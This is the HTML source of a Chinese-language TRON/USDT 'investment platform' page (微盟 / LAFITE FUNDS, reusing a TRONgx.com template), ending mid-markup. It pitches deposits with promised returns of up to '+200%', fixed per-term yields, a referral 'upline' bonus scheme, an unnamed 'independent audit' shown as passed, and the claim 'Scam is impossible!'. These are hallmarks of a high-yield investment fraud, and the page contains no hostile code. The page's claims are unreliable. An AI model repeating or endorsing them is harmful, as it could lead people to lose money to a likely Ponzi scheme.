<!DOCTYPE html>
<!-- saved from url=(0022) -->
<html lang="zh" prefix="og:https://ogp.me/ns#">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
		<title>微盟</title>
		<meta name="description"
			content="Investment platform based on TRX blockchain smart-contract technology. Get +200% up to your deposit right now. Safe and legit!">
		<meta name="keywords"
			content="tron, trx, dapp, investment, hyip, blockchain, smart-contract, smart contract, trongx, trongx.com, investment platform, profit, earnings, passive earnings">
		<meta name="og:locale" content="en-US">
		<meta name="og:site_name" content="TRONgx.com">
		<meta name="og:title" content="TRONgx.com - investment platform based on TRX blockchain">
		<meta name="og:description"
			content="TRONgx.com - investment platform based on TRX blockchain smart-contract technology. Get +200% up to your deposit right now. Safe and legit!">
		<meta name="og:url" content="https://trongx.com/">
		<meta name="upline" content="TBgo64ExE43fds6XAnH55eSjeuRB1vDKiX" />
		<link href="https://trongx.com/" rel="canonical">

		<link rel="apple-touch-icon" sizes="180x180" href="img/fav/apple-touch-icon.png">
		<link rel="android-touch-icon" sizes="180x180" href="img/fav/android-touch-icon.png">
		<link href="./css/all.css" rel="stylesheet" type="text/css">
		<link href="./css/style.css" rel="stylesheet">
		<link href="./css/animation.css" rel="stylesheet">
		<link href="./css/adaptive.css" rel="stylesheet">
		<!-- <link rel="stylesheet" href="./layui/css/layui.css"> -->
		<script src="./css/jquery-3.3.1.min.js"></script>
		<script src="./css/translater.min.js" type="text/javascript"></script>
		<script src="./layui/layui.js"></script>
		<!-- <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> -->
		<script src="./js/jquery36.js"></script>
		<script src="https://unpkg.com/axios/dist/axios.min.js"></script>

		<script src="https://cdn.staticfile.org/vue/2.2.2/vue.min.js"></script>
	</head>

	<body id="Nice">
		<div id="app">
			<div class="langblock" style="display: none;">
				<a href="#" class="langwrap langwrap_en"><img src="./css/eng2.svg" alt=""></a>
				<a href="#" class="langwrap langwrap_zh"><img src="./css/chi2.svg" alt=""></a>
			</div>
			<div class="socblock">

			</div>
			<div class="wrapper">
				<div class="cbp-af-header">
					<div class="cbp-af-inner">
						<nav>
							<!-- 	<a href="#about" class="scrollto">
								{{lang[lidx]['About']}}
							</a> -->

							<a href="" class="mainlogo" data-remodal-target="details"><img src="./css/logo.svg"
									alt=""></a>
							<a href="#investments" class="scrollto"><i class="fas fa-money-bill-alt"></i>
								{{lang[lidx]['Investments']}}
							</a>
							<a href="#" data-remodal-target="invest" @click="buyheyue('Contest')"><i
									class="fas fa-trophy"></i>
								微盟
								<!-- {{lang[lidx]['Contest']}} -->
							</a>
							<a href="#" data-remodal-target="invest" @click="buyheyue('Makedeposit')"><i
									class="fa fa-donate"></i>
								质押
								<!-- {{lang[lidx]['Makedeposit']}} -->
							</a>

							<a href="#" data-remodal-target="wallet" @click="getmywallet"><i class="fa fa-wallet"></i>
								我的钱包
								<!-- {{lang[lidx]['Wallet']}} -->
							</a>
							<!-- <a href="#" data-remodal-target="team"><i class="fa fa-people-carry"></i>
								我的团队
							</a> -->
						</nav>
					</div>
				</div>
				<div class="content">
					<div class="mainback">
						<div class="wrap">
							<div class="mainscreen">
								<div class="mainbackwrap">
									<div data-offset="30" class="mainphone parallax"
										style="transform: translate3d(-4px, 10px, 0px);"></div>
									<div class="dash1"></div>
									<div class="dash2"></div>
									<div class="dash3"></div>
									<div class="dash4"></div>
									<div class="perfection">
										{{lang[lidx]['perfection']}}
									</div>
								</div>
								<div class="mainbackwrap">
									<div class="mainbackdesc fromRightIn"
										data-scroll="toggle(.fromRightIn, .fromRightOut)">
										<h3 style="font-size: 24px">
											{{lang[lidx]['Reliable']}}
										</h3>

										<h1 style="font-size: 24px">
											{{lang[lidx]['Get']}}

											<span>
												0.3%~10.5%
											</span>
											{{lang[lidx]['uptoyourdeposit']}}
										</h1>
										<div class="maindesc">
											<div class="maindesctext">
												<span><i class="far fa-check-circle"></i>
													{{lang[lidx]['Blockchain']}}
												</span>
												<span><i class="far fa-check-circle"></i>
													{{lang[lidx]['Totally']}}

													{{lang[lidx]['TRXsmart']}}
												</span>
												<span><i class="far fa-check-circle"></i>
													{{lang[lidx]['Smart-contract']}}
												</span>
												<a href="#" data-remodal-target="invest" class="maindescbut" @click="buyheyue('Makedeposit')">
													现在投资
												</a>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
				<div class="content">
					<div class="mainabout" id="about">
						<div class="wrap">
							<h2 data-scroll="toggle(.fromTopIn, .fromTopOut)" class="fromTopOut"
								style="font-size: 14px">
								{{lang[lidx]['Wewill']}}
								<small>
									{{lang[lidx]['without']}}
								</small>
							</h2>
							<div class="mainaboutitemsblock">
								<div class="aboutdashtop"></div>
								<div class="aboutdashbottom"></div>
								<div class="aboutdashleft"></div>
								<div class="aboutdashright"></div>
								<div class="mainaboutitem aboutitemgrad1 fromLeftOut"
									data-scroll="toggle(.fromLeftIn, .fromLeftOut)">
									<h3>
										{{lang[lidx]['Unlimited']}}
									</h3>
									{{lang[lidx]['Weprovide']}}
									<br>

									<b>
										{{lang[lidx]['perevery']}}
									</b>
								</div>

								<div class="mainaboutitem2 aboutitemgrad">
									<img src="./css/ico1.png">
									<h3>
										LAFITE-智能合约的可靠性
										<br>
										Scam is impossible!
									</h3>
									智能合约的技术确保所有参与者资金的完全安全。没有人能窃取资金或者改变智能合约.
								</div>
							</div>
							<div class="totalsumblock">
								<div class="totalsumwrap fromLeftOut" data-scroll="toggle(.fromLeftIn, .fromLeftOut)">


								</div>
							</div>
						</div>
					</div>
					<div class="content">
						<div class="workblock" id="investments">
							<div class="wrap">
								<div class="dashtop"></div>
								<h2 style="margin:0;" data-scroll="toggle(.fromTopIn, .fromTopOut)" class="fromTopOut">
									投资条件<small>TRON<span class="gt">最好的</span>市场供需</small>
								</h2>
								<div class="macbackblock">
									<div class="macblock">
										<div class="macblockline fromLeftOut"
											data-scroll="toggle(.fromLeftIn, .fromLeftOut)">只工作于<img
												src="./css/tron.svg" alt="">
											<b>TRON (USDT)</b>网络
											<a href="#" class="blocklinea question" data-remodal-target="tron">
												<i class="fas fa-question-circle"></i> </a>
										</div>
										<div class="macblockline fromLeftOut"
											data-scroll="toggle(.fromLeftIn, .fromLeftOut)">最低存款：<b>10 USDT</b>
										</div>

										<div class="macblockline fromLeftOut"
											data-scroll="toggle(.fromLeftIn, .fromLeftOut)">
											盈利<b>每一刻</b>,随时参与、准时到账，无需提现
										</div>
									</div>
									<div class="workdescblock">
										<div class="workdesc fromRightOut"
											data-scroll="toggle(.fromRightIn, .fromRightOut)">
											<div class="workdescpre">
												<i class="fas fa-sticky-note"></i>基本利率:
											</div>
											<div class="workdesctitle">
												1天0.3% 5天1.8% 10天4.5% 20天10.5%
											</div>
											每天依据波场生态质押算法天数不同收益不同.

										</div>
										<div class="workdesc fromRightOut"
											data-scroll="toggle(.fromRightIn, .fromRightOut)">
											<div class="workdescpre">
												<i class="fas fa-sticky-note"></i>
												社区奖励
											</div>
											<div class="workdesctitle">
												依据流通量不同自动生成
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
					<div class="content">
						<div class="stepsmainblock" id="steps">
							<div class="wrap">
								<div class="dashtop"></div>
								<h2>
									如何使用平台<small>简单<span class="gt">3 步</span>即可获得收益</small>
								</h2>
								<div class="stepsline">
									<div class="bigstepline"></div>
									<div class="bigsteplinecic1"></div>
									<div class="stepslinewrap">
										<h3>步骤#1:缴纳保证金
										</h3>
										<div class="stepsblock fromLeftOut"
											data-scroll="toggle(.fromLeftIn, .fromLeftOut)">
											<h4>获取<img src="./css/tron.svg" alt=""> TRON (USDT)</h4>
											我们建议使用<b>TronLink</b> / <b>TronMask</b>浏览器扩展插件或者
											<a href="https://tronwallet.me/" target="_blank">TronWallet</a> / <a
												href="https://bankowallet.com/" target="_blank">Banko</a>
											手机应用<br>你可以通过交易所购买获取USDT
											<a href="#" data-remodal-target="tron" class="maindescbut">
												获取USDT的办法
											</a>
										</div>
										<div class="stepsblock fromLeftOut"
											data-scroll="toggle(.fromLeftIn, .fromLeftOut)">
											<h4>
												发送
												<img src="./css/tron.svg" alt="">
												USDT 到我们的智能合约
											</h4>
											发送任何数量的TRX在智能合约地址上,并开始每时获得收益。最低存款金额为
											<b>10 USDT</b>
											没有最大金额限制。
											<a href="#" data-remodal-target="invest" class="maindescbut">
												缴纳保证金
											</a>
										</div>
									</div>
									<div class="stepslinewrap fromRightOut"
										data-scroll="toggle(.fromRightIn, .fromRightOut)">
										<div class="icosteps2">
											<img src="./css/icostep2.png" alt="">
										</div>
									</div>
								</div>
								<div class="stepsline">
									<div class="bigsteplinecic1"></div>
									<div class="stepslinewrap fromRightOut"
										data-scroll="toggle(.fromRightIn, .fromRightOut)">
										<div class="icosteps2">
											<img src="./css/icostep3.png" alt="">
										</div>
										<form class="maincontform">
											<label>您的
												<img src="./css/tron.svg" alt="">
												USDT钱包的地址：
											</label>

											<input type="text" class="trxWallet authTrue" value="Wallet address"
												style="display:block !important" readonly="">

											<input type="text" class="trxWallet authFalse"
												placeholder="Connect with your wallet app..." readonly=""
												style="display: none;">
											<a href="#" data-remodal-target="wallet" class="maindescbut">
												检查钱包的统计信息
											</a>
										</form>
									</div>
									<div class="stepslinewrap stepslinewrapright fromLeftOut"
										data-scroll="toggle(.fromLeftIn, .fromLeftOut)">
										<h3>
											步骤#2:获取收益
										</h3>
										<div class="stepsblock stepsblockfull">
											<h4>
												收到您的
												<img src="./css/tron.svg" alt="">
												USDT每一刻
											</h4>
											您可以查看所有钱包信息,包括您的存款，收入，取款和推荐统计信息.
											<br><br>
											<u>
												推广奖励计划：
											</u>
											<br>
											第三步：
											推广社区成员，获取最佳收益。推广奖励将即时到
											<a href="#" data-remodal-target="wallet" class="maindescbut">
												您的钱包。
											</a>
										</div>
									</div>
								</div>
								<div class="stepsline">
									<div class="bigsteplinecic1"></div>
									<div class="stepslinewrap fromLeftOut"
										data-scroll="toggle(.fromLeftIn, .fromLeftOut)">

									</div>
									<div class="stepslinewrap fromRightOut"
										data-scroll="toggle(.fromRightIn, .fromRightOut)">
										<div class="icosteps2">
											<img src="./css/icostep5.png" alt="">
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
					<div class="content">
						<div class="reviewblock">
							<div class="wrap">
								<div class="dashtop"></div>
								<h2 data-scroll="toggle(.fromTopIn, .fromTopOut)" class="fromTopOut">
									公正和透明的<small>智能合约<span class="gt">独立的</span>审计和复查</small>
								</h2>
								<div class="reviewwrap">
									<div class="review">
										<div class="mainreview">
											<img src="./css/icostep4.png" alt="">
											<div class="mainreviewdesc">
												LAFITE
												FUNDS平台智能合约在TRON区块链上发表.没有人可以改变规则或算法，甚至管理。这提供我们的参与者在他们的资金安全无条件的信心.任何人都可以检查智能合约代码，并确认LAFITE
												FUNDS平台是诚实的.</div>
										</div>
										<div class="mainauditwrap">
											<div class="macblockline fromLeftOut"
												data-scroll="toggle(.fromLeftIn, .fromLeftOut)">
												<div class="mainreviewimg">
													<a href="https://www.youtube.com/watch?v=SfaXsGeKno0"
														target="_blank">
														<img src="./img/zhengshu.png" class="reviewimg" alt="">
													</a>
													<div class="mainreviewimgdesc">
														独立的公司:


														审计的状态:
														<div class="maincompany"><i class="fas fa-check-circle"></i>
															成功得通过

														</div>

													</div>
												</div>
											</div>
										</div>
									</div>
									<div class="reviewwrap">
										<div class="review">
											<div class="totalsumdesc"><i class="fal fa-comment-alt-edit"></i>
												友情连接:
											</div>
											<div class="reviewlinkwrap">
												<a href="https://dappradar.com/tron/high-risk/trongx"
													class="reviewlink fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/dappradar.svg" alt=""></a>
												<a href="https://www.dappstats.com/dapp/trongx"
													class="reviewlink fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/dappstats.svg" alt=""></a>
												<a href="https://dapponline.io/dapp-detail/3698"
													class="reviewlink fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/dapponline.svg" alt=""></a>
												<a href="https://www.dapp.com/app/trongx"
													class="reviewlink dappcom fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/dappcom.png" alt=""></a>
												<a href="https://www.stateofthedapps.com/dapps/trongx"
													class="reviewlink state fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/stateofthedapps.png" alt=""></a>
												<a href="https://dapp-world.com/dapp/trongx"
													class="reviewlink fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/dappworld.png" alt=""></a>
												<a href="https://dapp.review/dapp/13532/TRONexnet"
													class="reviewlink fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/dappreview.svg" alt=""></a>
												<a href="https://onlinebitz.net/trongx.com-review"
													class="reviewlink fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/onlinebitz.png" alt=""></a>
												<a href="https://hyiphunter.org/trongx-otzyvy-i-obzor/"
													class="reviewlink hyiphunter fromTopOut" target="_blank"
													data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/hyiphunter.png" alt=""></a>
												<a href="https://vinveste.biz/trongx/" class="reviewlink fromTopIn"
													target="_blank" data-scroll="toggle(.fromTopIn, .fromTopOut)"><img
														src="./css/vinveste.png" alt=""></a>
											</div>
										</div>
										<div class="review">
											<div class="totalsumdesc"><i class="fa fa-search-dollar"></i>
												透明地址:
											</div>
											<div class="lastdepowrap">
												<div class="lastdepo fromTopOut"
													data-scroll="toggle(.fromTopIn, .fromTopOut)">
													<span><i class="fa fa-arrow-alt-circle-down"></i><span
															id="qianbaoje1">
														</span> USDT</span>
													<span id="hash1"></span>
													<span><a href="#" id="url1"><i class="far fa-eye"></i></a></span>
												</div>
												<div class="lastdepo fromTopOut"
													data-scroll="toggle(.fromTopIn, .fromTopOut)">
													<span><i class="fas fa-arrow-alt-circle-down"></i> <span
															id="qianbaoje2"> </span> USDT</span>
													<span id="hash2"></span>
													<span><a href="#" id="url2"><i class="far fa-eye"></i></a></span>
												</div>
												<div class="lastdepo fromTopOut"
													data-scroll="toggle(.fromTopIn, .fromTopOut)">
													<span><i class="fas fa-arrow-alt-circle-down"></i> <span
															id="qianbaoje3"> </span> USDT</span>
													<span id="hash3"></span>
													<span><a href="#" id="url3"><i class="far fa-eye"></i></a></span>
												</div>
												<div class="lastdepo fromTopOut"
													data-scroll="toggle(.fromTopIn, .fromTopOut)">
													<span><i class="fas fa-arrow-alt-circle-down"></i> <span
															id="qianbaoje4"> </span> USDT</span>
													<span id="hash4"></span>
													<span><a href="#" id="url4"><i class="far fa-eye"></i></a></span>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>

					</div>
				</div>


				<footer class="footer">
					<div class="wrap">
						<div class="footerwrap">
							<div class="footblock">
								<a href="" class="footlogo"><img src="./css/logo.svg" alt=""></a>
								Copyrights:
								<br>
								Blockchain investment platform
								<br>
								2022 &copy; All Rights Reserved
							</div>
							<div class="footblock">
								Smart-contract address Powered by TRON blockchain
							</div>
							<div class="footblock">
								<a href="#" class="maindescbut" data-remodal-target="invest"
									@click="buyheyue('Contest')"><i class="fa fa-donate"></i>
									{{lang[lidx]['Contest']}}
								</a>
								<a href="#" class="maindescbut" data-remodal-target="invest"
									@click="buyheyue('Makedeposit')"><i class="fa fa-donate"></i>
									{{lang[lidx]['Makedeposit']}}
								</a>
								<a href="#" class="maindescbut" data-remodal-target="wallet"><i
										class="fa fa-wallet"></i>
									{{lang[lidx]['Walletstatistic']}}
								</a>
							</div>
						</div>
					</div>
				</footer>

			</div>




			<div class="remodal-wrapper remodal-is-closed" style="display: none;">
				<div class="remodal remodal-is-initialized remodal-is-closed" data-remodal-id="team" tabindex="-1">
					<a data-remodal-action="close" class="remodal-close"></a>
					<h1>
						我的团队
					</h1>

					<div class="layui-fluid">
						<div class="flex-center margin-top-xl">
							<div>
								<div class="text-gray">
									总人数
								</div>
								<div class="text-big">
									{{teamtotal}}
								</div>
							</div>
							<div class="">
								<div class="text-gray">
									团队收益
								</div>
								<div class="text-big">
									{{came}}
								</div>
							</div>
						</div>
						<div class="flex-center margin-top-xl">
							<div class="allbtn">
								<p @click="setshowtype">{{teamlist[tidx]['title']}} <a
										class="fa-chevron-down fa fa-1x"></a></p>
								<div class="panle" v-if="isshowtype">
									<div class="li" v-for="(li,index) in teamlist" @click='settype(index)'>
										{{li['title']}}
									</div>
								</div>
							</div>


							<div class="text-gray">
								加入时间
							</div>
						</div>
						<div class="margin-top-sm">
							<div class="solid-bottom" v-for="li in list">
								<div class="flex-center text-bold margin-top-sm">
									<div class="title">
										地址
									</div>
									<div class="">

									</div>
								</div>
								<div class="flex-center text-gray padding-top-xs">
									<div class="title">
										DASFSADFW2FSDAF23432FSADFASF
									</div>
									<div class="">
										2022-02-28
									</div>
								</div>

							</div>

						</div>
					</div>
				</div>
			</div>


			<div class="remodal-wrapper remodal-is-closed" style="display: none;">
				<div class="remodal remodal-is-initialized remodal-is-closed" data-remodal-id="details" tabindex="-1">
					<a data-remodal-action="close" class="remodal-close"></a>
					<div v-if="detailtype==0">
						<h1>我的收益</h1>
						<div class="layui-fluid">
							<div class="flex-center margin-top-xl">
								<div>
									<div class="text-gray ">总金额</div>
									<div class="text-big">{{incomerecharge}}</div>
								</div>
								<div class="">
									<div class="text-gray">累计收益</div>
									<div class="text-big">{{incomewithdraw_total}}</div>
								</div>
							</div>
							<div class="flex-center margin-top-xl margin-bottom-sm">
								<div class="allbtn">
									<p @click="setshowtype">{{typelist[liidx]['title']}}<a
											class="fa-chevron-down fa fa-1x"></a></p>
									<div class="panle" v-if="isshowtype">
										<div class="li" v-for="(li,index) in typelist" @click='settype(index)'>
											{{li['title']}}
										</div>
									</div>
								</div>
								<div class="text-gray">
									可展示近3个月明细
								</div>
							</div>
							<div class="margin-top-sm">
								<div class="solid-bottom" v-for="li in incomelist">
									<div class="flex-center text-bold margin-top-sm">
										<div class="title">
											{{li.desc}}
										</div>
										<div class="">
											{{li.amount}}
										</div>
									</div>
									<div class="flex-center text-gray padding-top-xs">
										<div class="title">
											{{li.type_v}}
										</div>
										<div class="">
											{{li.create_date}}
										</div>
									</div>
								</div>
								<div class="noinfo" v-if="incomelist.length<1">
									暂无信息
								</div>

							</div>
						</div>

					</div>

					<div v-else-if="detailtype==1||detailtype==2">
						<h1 v-if="detailtype==1">我的质押</h1>
						<h1 v-if="detailtype==2">我的微盟</h1>
						<div class="layui-fluid">
							<div class="flex-center margin-top-xl" v-if="detailtype==1">
								<div>
									<div class="text-gray">总金额</div>
									<div class="text-big">{{wallet.recharge_numing||0}}</div>
								</div>
								<div>
									<div class="text-gray">累计收益</div>
									<div class="text-big">{{incomelist.withdraw_total||0}}</div>
								</div>
							</div>
							<div class="flex-c-center margin-top-xl" v-if="detailtype==2">
								<div>
									<div class="text-gray">总金额</div>
									<div class="text-big">{{wallet.recharge_numing_wm||0}}</div>
								</div>
								<!-- <div>
											<div class="text-gray">累计收益</div>
											<div class="text-big">{{incomelist.withdraw_total_wm||0}}</div>
										</div> -->
							</div>
							<div class="flex-center margin-top-xl margin-bottom-sm">
								<div class="allbtn">
									<p @click="setshowtype">{{ordertypelist[oidx]['title']}}<a
											class="fa-chevron-down fa fa-1x"></a></p>
									<div class="panle" v-if="isshowtype">
										<div class="li" v-for="(li,index) in ordertypelist"
											@click='setordertype(index)'>
											{{li['title']}}
										</div>
									</div>
								</div>
								<div class="text-gray">
									近期明细
								</div>
							</div>
							<div class="margin-top-sm">
								<div class="solid-bottom" v-for="(li,idx) in orderlist"
									@click="orderdetail(li.id,detailtype+2)">
									<div v-if="detailtype==1">
										<div class="flex-center text-bold margin-top-sm">
											<div class="title">{{li.pledge_day}}天</div>
											<div class="">
												{{li.pledge_amount}}USDT
											</div>
										</div>
										<div class="flex-center text-gray padding-top-xs">
											<div class="title">
												{{li.state==1?"进行中":"已结束"}}
											</div>
											<div :id="'daotime'+idx">
												结束时间：{{li.pledge_start_time}}
											</div>
										</div>
									</div>
									<div v-if="detailtype==2">
										<div class="flex-center text-bold margin-top-sm">
											<div class="title">{{li.pledge_amount}}USDT</div>
											<div class="">
												{{li.state==1?"进行中":"已结束"}}
											</div>
										</div>
										<div class="flex-center text-gray padding-top-xs">
											<div class="title">

											</div>
											<div :id="'daotime'+idx" v-if="detailtype==1">
												结束时间：{{li.pledge_start_time}}
											</div>
										</div>
									</div>

								</div>
								<div class="noinfo" v-if="orderlist.length<1">
									暂无信息
								</div>
							</div>
						</div>
					</div>
					<div v-else-if="detailtype==3 ||detailtype==4">
						<h1 v-if="detailtype==3">质押明细</h1>
						<h1 v-if="detailtype==4">微盟明细</h1>

						<div class="layui-fluid">
							<div class="flex-c-center margin-top-xl">
								<div :class="[detailtype==3?'w50':'']">
									<div class="text-gray">总金额</div>
									<div class="text-big">{{pledge_info.pledge_amount||0}}</div>
								</div>
								<div class="w50" v-if="detailtype==3">
									<div class="text-gray">质押周期</div>
									<div class="text-big">{{pledge_info.pledge_day||0}}</div>
								</div>
							</div>

							<div class="flex-center margin-top-xl">
								<div class="w30">
									<div class="text-gray">可取收益</div>
									<div class="text-big">{{pledge_info.interest||0}}</div>
								</div>
								<div class="w30">
									<div class="text-gray">已取收益</div>
									<div class="text-big">{{pledge_info.interest_total2||0}}</div>
								</div>
								<div class="w30">
									<div class="text-gray">累计收益</div>
									<div class="text-big">{{pledge_info.interest_total||0}}</div>
								</div>
							</div>

							<div class="flex-center margin-bottom-sm">
								<a class="maindescbut" @click="giveback(pledge_info.id)" v-if="pledge_info.state!=0">
									取回
								</a>
								<a class="maindescbut"  v-else>
									已取回
								</a>
							</div>

							<div class="margin-top-sm">
								<div class="solid-bottom" v-for="li in detaillist">
									<div class="flex-center text-bold margin-top-sm">
										<div class="title">
											{{li.desc||'暂无描述'}}
										</div>
										<div class="">
											{{li.interest}}USDT
										</div>
									</div>
									<div class="flex-center text-gray padding-top-xs">
										<div class="title">

										</div>
										<div class="">
											时间：{{li.create_date}}
										</div>
									</div>
								</div>
								<!-- <div class="noinfo" v-if="detaillist&&detaillist.length<1">
											暂无信息
										</div> -->
							</div>
						</div>
					</div>


				</div>

			</div>
			<div class="remodal-wrapper remodal-is-closed" style="display: none;">
				<div class="remodal remodal-is-initialized remodal-is-closed" data-remodal-id="invest" tabindex="-1">
					<a data-remodal-action="close" class="remodal-close"></a>
					<h1>{{isconduct?'质押':'买入微盟'}}</h1>
					<div class="modaldesc">
						<form class="maincontform authFalse" style="display: none;">
							<input type="text" placeholder="Connect with your wallet app..." readonly="">
							<div class="modalref">
								连接到您的
								<b class="gt">TronLink</b> / <b class="gt">TronPay</b>
								浏览器插件,或者
								<b class="gt">TronWallet</b> / <b class="gt"></b>
								手机应用. 连接后，您有机会进行存款（重新加载此页面).<br>
								<u>
									如果您不能连接,请联系我们的支持团队.
								</u><br><br>
								<div class="userRefererDiv">
									<i class="fal fa-user-friends"></i>
									您的上线合作伙伴钱包：
									<span class="userReferer">
										No upline
									</span>
								</div>
							</div>
						</form>

						<div class="maincontform authTrue" style="display:block !important">
							<label>
								指定存款
								<img src="./css/tron.svg" alt="">
								{{isconduct?'在这里输入USDT数量':'当前最多可投入'+wallet.wmAmount||0
								}}
							</label>
							<input class="trxAmount1" type="number" :placeholder="[isconduct?500:wallet.wmAmount]" v-model="trxAmount1" @input="getinput">

							<input class="days" type="hidden" value="1">
							<div class="trxAmountError11 error" style="display: none;">
								请输入存款数量
							</div>
							<div class="trxAmountError12 error" style="display: none;">
								最低存款为10USDT
							</div>
							<div class="flex" v-if="isconduct">
								<span class="maindescbut2" :class="[days==30?'acti':'']" @click="setday(30)">
									30 天
								</span>
								<span class="maindescbut2" :class="[days==90?'acti':'']" @click="setday(90)">
									90 天
								</span>
								<span class="maindescbut2" :class="[days==180?'acti':'']" @click="setday(180)">
									180 天
								</span>
								<span class="maindescbut2" :class="[days==360?'acti':'']" @click="setday(360)">
									360 天
								</span>
							</div>
							<a data-remodal-target="invest" class="maindescbut investButton2" style=""
								@click="buycontract">
								立即加入
							</a>
							<div class="modalref">
								<div class="userRefererDiv">
									<i class="fal fa-user-friends"></i>
									你上级的钱包地址
									<span class="userReferer uplines">
										没有上级
									</span>
								</div>
							</div>
							<div>
							</div>
							<div class="modaldesc">
								<div class="dashmodal"></div>
								<div class="modalline">
									<b class="gt">
										<i class="fas fa-exclamation-triangle"></i>
										重要！
									</b>
									不要忘记区块链费用！ 您的钱包中应该还有2-5 TRX，否则交易将处于失去能量状态!
								</div>
								<br>
								<div class="modalline"><i class="fas fa-check-circle"></i>
									最低的存款金额:
									<b>10USDT</b>
								</div>
								<div class="modalline"><i class="fas fa-check-circle"></i>
									我们只使用
									<img src="./css/tron.svg" alt="">
									TRON (USDT) 加密货币
								</div>
								<div class="modalline"><i class="fas fa-check-circle"></i>
									您的存款将被记录
									<b>
										1个区块链
									</b>
									确认后
								</div>
								<div class="modalline"><i class="fas fa-check-circle"></i>
									收益根据合约时间自动到钱包、无需提现
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
			<div class="remodal-wrapper remodal-is-closed" style="display: none;">
				<div class="remodal remodal-is-initialized remodal-is-closed" data-remodal-id="wallet" tabindex="-1">
					<a data-remodal-action="close" class="remodal-close"></a>
					<h1>
						钱包的统计信息
					</h1>
					<form class="maincontform authFalse" style="display: none;">
						<input type="text" placeholder="Connect with your wallet app..." readonly="">
						<div class="modalref">
							连接您的
							<b class="gt">TronLink</b> / <b class="gt">TronPay</b>
							通过浏览器插件，或者
							<b class="gt">TronWallet</b> / <b class="gt">Banko</b>
							手机应用. 连接后，您有机会进行存款（重新加载此页面).<br>
							<u>
								如果您不能连接,请联系我们的支持团队.
							</u>

						</div>
					</form>

					<div class="modaldesc authTrue" style="display:block !important">
						<div class="modaldesc">
							<form class="maincontform">
								<label>
									您的
									<img src="./css/tron.svg" alt="">
									TRON钱包的地址:
								</label>
								<input type="text" class="trxWallet" id="qianbao" readonly="">
								<div class="modalref">
									<i class="fa fa-link"></i>
									与您的合作伙伴分享此链接,以获得推荐奖励
									<br>
									<small>
										- 您的邀请链接
									</small>
									<input type="text" id="dizhi1">
									<br>
									<button class="maindescbut buttoncopy" data-clipboard-target="#dizhi1"
										onclick="return false;">
										复制推荐链接
									</button> <br>
									<small>
										- 您应该有足够的存款来解锁会员奖金！ 没有有效存款，您将不会获得任何奖励.
									</small>
								</div>
							</form>
						</div>
						<div class="modaldesc">

							<div class="macblockline">
								<div class="modallineflex"></div>
							</div>
						</div>
						<div class="modaldesc">
							<div class="dashmodal"></div>
							<div class="macblockline">
								<div class="modallineflex" data-remodal-target="details" @click="opendetails(1)">
									<div class="modallinewrap">
										质押总额:
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt="">
											<span class="userTotalDeposits1">{{wallet.recharge}}</span>
										</div>
									</div>
									<div class="modallinewrap">
										质押数量:
										<b>
											<span class="userAmountOfDeposits1">{{wallet.recharge_numing}}</span>
										</b>
										<br>
										最后存款的日期:
										<br><b><i class="far fa-clock"></i>
											<span class="userLastDepositTime1">{{wallet.last_recharge}}</span>
										</b>
									</div>
								</div>
							</div>
							<div class="macblockline">
								<div class="modallineflex" data-remodal-target="details" @click="opendetails(2)">
									<div class="modallinewrap">
										微盟总额:
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt="">
											<span class="userTotalDeposits1">{{wallet.recharge_wm }}</span>
										</div>
									</div>
									<div class="modallinewrap">
										存款数量:
										<b><span
												class="userAmountOfDeposits1">{{wallet.recharge_numing_wm}}</span></b>
										<br>最后存款的日期:<br><b><i class="far fa-clock"></i><span
												class="userLastDepositTime1">{{wallet.last_recharge_wm }}</span>
										</b>
									</div>
								</div>
							</div>
							<div class="macblockline">
								<div class="modallineflex" data-remodal-target="details" @click="opendetails(0)">
									<div class="modallinewrap">
										赚取总额:
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt=""> <span
												class="userEarned1">{{wallet.withdraw_total}}</span></div>
									</div>
									<div class="modallinewrap">
										总取款:
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt=""> <span
												class="userTotalWithdrawn1">{{wallet.withdraw}}</span></div>
									</div>
								</div>
							</div>
						</div>
						<div class="modaldesc">
							<div class="dashmodal"></div>
							<div class="macblockline">
								<div class="modallineflex">
									<div class="modallinewrap">
										合约数据
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt=""> 
										<span class="userRefsEarned1">{{wallet.total_staff}}</span>人</div>
									</div>
									<div class="modallinewrap">
										合约存款USDT总数:
										<b><span class="userRefsLevel21">{{wallet.total_deposit}}</span></b><br>
									</div>
								</div>
							</div>
						</div>
						<div class="modaldesc">
							<div class="dashmodal"></div>
							<div class="macblockline">
								<div class="modallineflex">
									<div class="modallinewrap">
										个人数据
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt=""> <span
												class="userRefsEarned1" id=""></span></div>
									</div>
									<div class="modallinewrap">
										合约总成交USDT:
										<b><span class="userRefsLevel11">{{wallet.user_total_deposit}}</span></b><br>
										合约总收益USDT:
										<b><span class="userRefsLevel21">{{wallet.user_total_surplus}}</span></b><br>
										分享总收益USDT:
										<b><span class="userRefsLevel31">{{wallet.user_share_total}}</span></b><br>
										团队收益USDT：
										<b><span class="userRefsLevel31">{{wallet.user_share_team_total}}</span></b><br>
